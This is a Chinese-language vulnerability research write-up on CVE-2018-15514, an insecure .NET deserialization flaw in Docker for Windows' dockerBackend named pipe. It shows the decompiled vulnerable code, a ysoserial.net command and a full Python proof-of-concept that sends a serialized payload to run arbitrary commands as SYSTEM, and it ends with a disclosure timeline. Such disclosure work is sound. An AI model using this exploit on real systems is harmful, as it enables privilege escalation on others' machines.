一、前言

我一直在寻找常见应用程序中是否存在可以用来突破Windows系统的漏洞,今年3月份我发现了一个有趣的漏洞,值得与大家一起分享。虽然内核漏洞的发现过程非常吸引人,但许多Windows核心应用及第三方应用在逻辑层面存在一些根源性缺陷,最终可以被攻击者利用,无需绕过一些内存缓解机制就能获取SYSTEM权限。

在本文中我介绍了CVE-2018-15514漏洞的发现及利用过程,这是Docker for Windows应用中存在的一个.net反序列化漏洞。Docker最初否认应用中存在这个漏洞,但随后在7月19日发布了修复补丁。进一步讨论后,他们最终在8月18日为该漏洞分配了一个编号:CVE-2018-15514。

 

二、简介

Docker for Windows为Windows 10及以上系统提供了64位安装包。我快速搭建了一个Windows 10 64位虚拟机用来测试。Docker的官网上有这样一段话:

(Docker for Windows)是一个集成的、易于部署的开发环境,可以在Windows PC上构建、调试及测试Docker应用。Docker for Windows是一个原生的Windows应用,与Hyper-V虚拟化网络及文件系统深度集成,因此是Windows上最快速、最可靠的Docker环境。

默认情况下,Docker for Windows会安装一个客户端及服务端应用。

 

三、发现漏洞

使用SysInternals的Process Explorer来浏览当前正在运行的进程后,我发现了名为com.docker.service的一个进程。这个进程已经创建了几个命名管道(NamedPipe),分别为dockerBackend以及dockerLogs,使用.net语言开发:

图1. 查找命名管道

检查权限

一旦找到可能存在攻击面的命名管道后,重要的一步就是检查命名管道上已设置的权限,判断低权限用户是否可以访问这个管道。该接口中一旦存在任何漏洞,则意味着低权限的攻击者可以成功提升到SYSTEM级别。

为了检查相关权限,我使用了来自Beyond Logic的Craig Peacock所开发的Pipe Secuirty Viewer。虽然这个工具已有一些年头,但的确能够完成任务(欢迎大家积极献策,推荐其他可用的工具)。

简单运行工具后,我们可以获取到系统中当前正在运行的命名管道列表。指定我们需要的\\NamedPipe\dockerBackend管道后,可以看到哪些用户和组具备访问权限,并且每个对象具备什么权限。

图2. 可以访问命名管道的用户和组

其中我注意到一个用户是docker-users组,当安装Docker for Windows时就会创建这个组。简而言之,这个组对应的是想访问容器(container)的账户。这看起来非常有趣,因此我决定检查这个组的权限。事实证明这些用户获取的权限非常宽泛。

图3. docker-users组对dockerBackend命名管道的权限

快速在Google上搜索后,我发现有人建议管理员把用户添加到这个组中,但Docker官方并没有对此给出具体的解释。

图4. 非官方文档建议管理员将用户添加到docker-users组中

寻找有效数据

此时我需要找到一些有效数据,将这些数据发送到我们刚发现的这个端点。此时我可以选择深入分析源代码,但实话实说,当时我猜测Docker for Windows应该会通过这个命名管道进行一些复杂的解析操作。目前并没有太多工具可以用来嗅探命名管道的数据,我发现了I/O Ninja这款工具,该工具包含一个模块,完全可以胜任这个任务。

图5. 利用I.O Ninja捕捉命名管道数据

我在工具中为dockerBackend设置了一个过滤器,然后继续运行客户端,导出的输出信息如上图所示。紫色圆圈标记出来的是缓冲区的大小,紧随其后的是一个.net序列化对象。

 

四、漏洞分析

此时我们可以深入分析经过反汇编处理的源代码,来证实我们之前的猜测。这里我使用的是dnSpy这款工具,利用该工具加载C:\Program Files\Docker\Docker\com.docker.service这个二进制文件。快速检查后,我们发现存在漏洞的代码的确位于Docker.Core.Pipe命名空间的Docker.core.dll二进制文件中。

在这个命名空间中,我们可以看到有个NamedPipeServer类,该类执行的第一个方法为Run方法:

 public void Run() { this._cts = new CancellationTokenSource();
            CancellationToken token = this._cts.Token; this._currentRunningTask = this.DoRunAsync(token);
        } 

Run方法会调用DoRunAsync方法。

 private async Task DoRunAsync(CancellationToken token) { while (!token.IsCancellationRequested)
            {
                NamedPipeServer.<>c__DisplayClass10_0 <>c__DisplayClass10_ = new NamedPipeServer.<>c__DisplayClass10_0();
                <>c__DisplayClass10_.<>4__this = this; try {
                    <>c__DisplayClass10_.pipeServer = PipeHelper.NewServerStream(this._pipeName, this._usersGroup.Sid);
                } catch (Exception e)
                { this._logger.Error(string.Format("Unable to create a pipe: {0} {1}", e.Message, e.StackTrace)); continue;
                } try { await <>c__DisplayClass10_.pipeServer.WaitForConnectionAsync(token);
                } catch (OperationCanceledException)
                {
                } catch (Exception e2)
                { this._logger.Error(string.Format("Unable to connect: {0} {1}", e2.Message, e2.StackTrace)); continue;
                }
                Task.Run(() => <>c__DisplayClass10_.<>4__this.HandleRequestAsync(<>c__DisplayClass10_.pipeServer));
                <>c__DisplayClass10_ = null;
            }
        } 

然后DoRunAsync方法会调用HandleRequestAsync方法。

private async Task HandleRequestAsync(NamedPipeServerStream pipeServer) { try { using (NamedPipeServerStream server = pipeServer)
        { byte[] sizeBytes = new byte[4]; await server.ReadAsync(sizeBytes, 0, sizeBytes.Length); int size = BitConverter.ToInt32(sizeBytes, 0); byte[] requestBytes = new byte[size]; await server.ReadAsync(requestBytes, 0, requestBytes.Length);
            BinaryFormatter bf = new BinaryFormatter();
            PipeRequest request = (PipeRequest)bf.Deserialize(new MemoryStream(requestBytes, 0, requestBytes.Length, false)); 

最后,该方法会调用BinaryFormatterDeserialize方法来处理不可信数据,最终导致以SYSTEM权限执行任意代码。

 

五、漏洞利用

现在开始进入有趣一点的环节。首先我需要创建一个测试用户test,并将其加入docker-users组。随后,我以该用户权限来运行命令提示符:

C:>net localgroup docker-users test /add
The command completed successfully.

C:>runas /user:test cmd
Enter the password for test:
Attempting to start cmd as user "targettest" ... 

然后再使用ysoserial.net工具,其中BinaryFormatter类作为formatter,并且用到了@tiraniddoTypeConfuseDelegategadget链。

C:>ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o raw -c "[CMD]" > poc.bin 

显然我们无法执行[CMD]命令,因此我修改了二进制载荷,使其能够接受我们传入的任意命令。现在要做的很简单,测试我们的PoC能否正常工作即可。

图6. 利用Docker for Windows获取SYSTEM权限

PoC源代码如下:

import sys import struct if len(sys.argv) != 2: print "(+) usage %s <cmd>" % sys.argv[0] print "(+) eg: %s "whoami > c:\si.txt"" % sys.argv[0]
    sys.exit(-1)

cmd = "/c %s" % sys.argv[1]

payload  = "x00x01x00x00x00xffxffxffxffx01x00x00x00x00x00x00x00x0cx02x00" payload += "x00x00x49x53x79x73x74x65x6dx2cx20x56x65x72x73x69x6fx6ex3dx34" payload += "x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6ex65x75x74" payload += "x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6bx65x6ex3d" payload += "x62x37x37x61x35x63x35x36x31x39x33x34x65x30x38x39x05x01x00x00" payload += "x00x84x01x53x79x73x74x65x6dx2ex43x6fx6cx6cx65x63x74x69x6fx6e" payload += "x73x2ex47x65x6ex65x72x69x63x2ex53x6fx72x74x65x64x53x65x74x60" payload += "x31x5bx5bx53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20x6dx73" payload += "x63x6fx72x6cx69x62x2cx20x56x65x72x73x69x6fx6ex3dx34x2ex30x2e" payload += "x30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6ex65x75x74x72x61x6c" payload += "x2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6bx65x6ex3dx62x37x37" payload += "x61x35x63x35x36x31x39x33x34x65x30x38x39x5dx5dx04x00x00x00x05" payload += "x43x6fx75x6ex74x08x43x6fx6dx70x61x72x65x72x07x56x65x72x73x69" payload += "x6fx6ex05x49x74x65x6dx73x00x03x00x06x08x8dx01x53x79x73x74x65" payload += "x6dx2ex43x6fx6cx6cx65x63x74x69x6fx6ex73x2ex47x65x6ex65x72x69" payload += "x63x2ex43x6fx6dx70x61x72x69x73x6fx6ex43x6fx6dx70x61x72x65x72" payload += "x60x31x5bx5bx53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20x6d" payload += "x73x63x6fx72x6cx69x62x2cx20x56x65x72x73x69x6fx6ex3dx34x2ex30" payload += "x2ex30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6ex65x75x74x72x61" payload += "x6cx2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6bx65x6ex3dx62x37" payload += "x37x61x35x63x35x36x31x39x33x34x65x30x38x39x5dx5dx08x02x00x00" payload += "x00x02x00x00x00x09x03x00x00x00x02x00x00x00x09x04x00x00x00x04" payload += "x03x00x00x00x8dx01x53x79x73x74x65x6dx2ex43x6fx6cx6cx65x63x74" payload += "x69x6fx6ex73x2ex47x65x6ex65x72x69x63x2ex43x6fx6dx70x61x72x69" payload += "x73x6fx6ex43x6fx6dx70x61x72x65x72x60x31x5bx5bx53x79x73x74x65" payload += "x6dx2ex53x74x72x69x6ex67x2cx20x6dx73x63x6fx72x6cx69x62x2cx20" payload += "x56x65x72x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6c" payload += "x74x75x72x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63" payload += "x4bx65x79x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33" payload += "x34x65x30x38x39x5dx5dx01x00x00x00x0bx5fx63x6fx6dx70x61x72x69" payload += "x73x6fx6ex03x22x53x79x73x74x65x6dx2ex44x65x6cx65x67x61x74x65" payload += "x53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6cx64x65x72x09" payload += "x05x00x00x00x11x04x00x00x00x02x00x00x00x06x06x06x07x00x00x00" payload += "x03x63x6dx64x04x05x00x00x00x22x53x79x73x74x65x6dx2ex44x65x6c" payload += "x65x67x61x74x65x53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x6f" payload += "x6cx64x65x72x03x00x00x00x08x44x65x6cx65x67x61x74x65x07x6dx65" payload += "x74x68x6fx64x30x07x6dx65x74x68x6fx64x31x03x03x03x30x53x79x73" payload += "x74x65x6dx2ex44x65x6cx65x67x61x74x65x53x65x72x69x61x6cx69x7a" payload += "x61x74x69x6fx6ex48x6fx6cx64x65x72x2bx44x65x6cx65x67x61x74x65" payload += "x45x6ex74x72x79x2fx53x79x73x74x65x6dx2ex52x65x66x6cx65x63x74" payload += "x69x6fx6ex2ex4dx65x6dx62x65x72x49x6ex66x6fx53x65x72x69x61x6c" payload += "x69x7ax61x74x69x6fx6ex48x6fx6cx64x65x72x2fx53x79x73x74x65x6d" payload += "x2ex52x65x66x6cx65x63x74x69x6fx6ex2ex4dx65x6dx62x65x72x49x6e" payload += "x66x6fx53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6cx64x65" payload += "x72x09x08x00x00x00x09x09x00x00x00x09x0ax00x00x00x04x08x00x00" payload += "x00x30x53x79x73x74x65x6dx2ex44x65x6cx65x67x61x74x65x53x65x72" payload += "x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6cx64x65x72x2bx44x65x6c" payload += "x65x67x61x74x65x45x6ex74x72x79x07x00x00x00x04x74x79x70x65x08" payload += "x61x73x73x65x6dx62x6cx79x06x74x61x72x67x65x74x12x74x61x72x67" payload += "x65x74x54x79x70x65x41x73x73x65x6dx62x6cx79x0ex74x61x72x67x65" payload += "x74x54x79x70x65x4ex61x6dx65x0ax6dx65x74x68x6fx64x4ex61x6dx65" payload += "x0dx64x65x6cx65x67x61x74x65x45x6ex74x72x79x01x01x02x01x01x01" payload += "x03x30x53x79x73x74x65x6dx2ex44x65x6cx65x67x61x74x65x53x65x72" payload += "x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6cx64x65x72x2bx44x65x6c" payload += "x65x67x61x74x65x45x6ex74x72x79x06x0bx00x00x00xb0x02x53x79x73" payload += "x74x65x6dx2ex46x75x6ex63x60x33x5bx5bx53x79x73x74x65x6dx2ex53" payload += "x74x72x69x6ex67x2cx20x6dx73x63x6fx72x6cx69x62x2cx20x56x65x72" payload += "x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72" payload += "x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79" payload += "x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34x65x30" payload += "x38x39x5dx2cx5bx53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20" payload += "x6dx73x63x6fx72x6cx69x62x2cx20x56x65x72x73x69x6fx6ex3dx34x2e" payload += "x30x2ex30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6ex65x75x74x72" payload += "x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6bx65x6ex3dx62" payload += "x37x37x61x35x63x35x36x31x39x33x34x65x30x38x39x5dx2cx5bx53x79" payload += "x73x74x65x6dx2ex44x69x61x67x6ex6fx73x74x69x63x73x2ex50x72x6f" payload += "x63x65x73x73x2cx20x53x79x73x74x65x6dx2cx20x56x65x72x73x69x6f" payload += "x6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6e" payload += "x65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6b" payload += "x65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34x65x30x38x39x5d" payload += "x5dx06x0cx00x00x00x4bx6dx73x63x6fx72x6cx69x62x2cx20x56x65x72" payload += "x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72" payload += "x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79" payload += "x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34x65x30" payload += "x38x39x0ax06x0dx00x00x00x49x53x79x73x74x65x6dx2cx20x56x65x72" payload += "x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72" payload += "x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79" payload += "x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34x65x30" payload += "x38x39x06x0ex00x00x00x1ax53x79x73x74x65x6dx2ex44x69x61x67x6e" payload += "x6fx73x74x69x63x73x2ex50x72x6fx63x65x73x73x06x0fx00x00x00x05" payload += "x53x74x61x72x74x09x10x00x00x00x04x09x00x00x00x2fx53x79x73x74" payload += "x65x6dx2ex52x65x66x6cx65x63x74x69x6fx6ex2ex4dx65x6dx62x65x72" payload += "x49x6ex66x6fx53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6c" payload += "x64x65x72x07x00x00x00x04x4ex61x6dx65x0cx41x73x73x65x6dx62x6c" payload += "x79x4ex61x6dx65x09x43x6cx61x73x73x4ex61x6dx65x09x53x69x67x6e" payload += "x61x74x75x72x65x0ax53x69x67x6ex61x74x75x72x65x32x0ax4dx65x6d" payload += "x62x65x72x54x79x70x65x10x47x65x6ex65x72x69x63x41x72x67x75x6d" payload += "x65x6ex74x73x01x01x01x01x01x00x03x08x0dx53x79x73x74x65x6dx2e" payload += "x54x79x70x65x5bx5dx09x0fx00x00x00x09x0dx00x00x00x09x0ex00x00" payload += "x00x06x14x00x00x00x3ex53x79x73x74x65x6dx2ex44x69x61x67x6ex6f" payload += "x73x74x69x63x73x2ex50x72x6fx63x65x73x73x20x53x74x61x72x74x28" payload += "x53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20x53x79x73x74x65" payload += "x6dx2ex53x74x72x69x6ex67x29x06x15x00x00x00x3ex53x79x73x74x65" payload += "x6dx2ex44x69x61x67x6ex6fx73x74x69x63x73x2ex50x72x6fx63x65x73" payload += "x73x20x53x74x61x72x74x28x53x79x73x74x65x6dx2ex53x74x72x69x6e" payload += "x67x2cx20x53x79x73x74x65x6dx2ex53x74x72x69x6ex67x29x08x00x00" payload += "x00x0ax01x0ax00x00x00x09x00x00x00x06x16x00x00x00x07x43x6fx6d" payload += "x70x61x72x65x09x0cx00x00x00x06x18x00x00x00x0dx53x79x73x74x65" payload += "x6dx2ex53x74x72x69x6ex67x06x19x00x00x00x2bx49x6ex74x33x32x20" payload += "x43x6fx6dx70x61x72x65x28x53x79x73x74x65x6dx2ex53x74x72x69x6e" payload += "x67x2cx20x53x79x73x74x65x6dx2ex53x74x72x69x6ex67x29x06x1ax00" payload += "x00x00x32x53x79x73x74x65x6dx2ex49x6ex74x33x32x20x43x6fx6dx70" payload += "x61x72x65x28x53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20x53" payload += "x79x73x74x65x6dx2ex53x74x72x69x6ex67x29x08x00x00x00x0ax01x10" payload += "x00x00x00x08x00x00x00x06x1bx00x00x00x71x53x79x73x74x65x6dx2e" payload += "x43x6fx6dx70x61x72x69x73x6fx6ex60x31x5bx5bx53x79x73x74x65x6d" payload += "x2ex53x74x72x69x6ex67x2cx20x6dx73x63x6fx72x6cx69x62x2cx20x56" payload += "x65x72x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74" payload += "x75x72x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4b" payload += "x65x79x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34" payload += "x65x30x38x39x5dx5dx09x0cx00x00x00x0ax09x0cx00x00x00x09x18x00" payload += "x00x00x09x16x00x00x00x0ax0b" # now we patch our payload data = bytearray(payload) # patch the size data[655:655] = struct.pack(">I", len(cmd)) # patch the cmd data[659:659] = cmd # get the size to send size = struct.pack("<I", len(data)) # get a handle to the NamedPipe np = open(r'\.pipedockerBackend', 'w+b') # exploit! np.write(size)
np.write(data) # clean up np.close() 

 

六、时间线

  • 2018-03-06 – 发现漏洞却忘记进一步分析
  • 2018-04-03 – 验证漏洞存在并将漏洞报告发送至iDefense’s VCP
  • 2018-04-04 – iDefense验证并接受该漏洞
  • 2018-06-19 – Docker修复该漏洞(但没有反馈任何信息)
  • 2018-07-18 – Docker分配漏洞编号CVE-2018-15514
  • 2018-08-30 – 本文发布

大家可以访问此处阅读Docker的安全公告,但该公告并没有太多建设性信息,然而他们的确为该漏洞申请了一个编号(CVE-2018-15514)。

图7. Docker for Windows的用户无法从公告中了解太多信息

 

七、总结

相对于常见的LPE漏洞来说,这个问题并没有那么大的影响力,这是因为用户首先必须是docker-users组的成员才能进行后续漏洞利用。然而正如文本提到的那样,这是一种非常常见的配置,并且缺乏官方文档,没有明确安全边界。

查找并利用这些漏洞并不困难。我认为.net反序列化漏洞会越来越普遍,因为研究人员发现许多第三方应用中普遍存在.net应用的身影。与Java类似,研究人员和攻击者已经可以使用一些工具来发现这些缺陷。我认为这些缺陷会广泛影响各种第三方Windows软件,企业领域中更不容小觑。

最后提一下,我本来以为与Docker交流应该是非常简单的事情,然而当iDefense第一次报告这个漏洞时,他们并不承认产品中存在这个漏洞,当他们最终发布安全补丁时,甚至决定不发布相应的安全公告、CVE编号或者相关说明。很难想象在2018年还会存在这种现象,更何况我们面对的是已被广泛使用的一种技术。

 

八、参考资料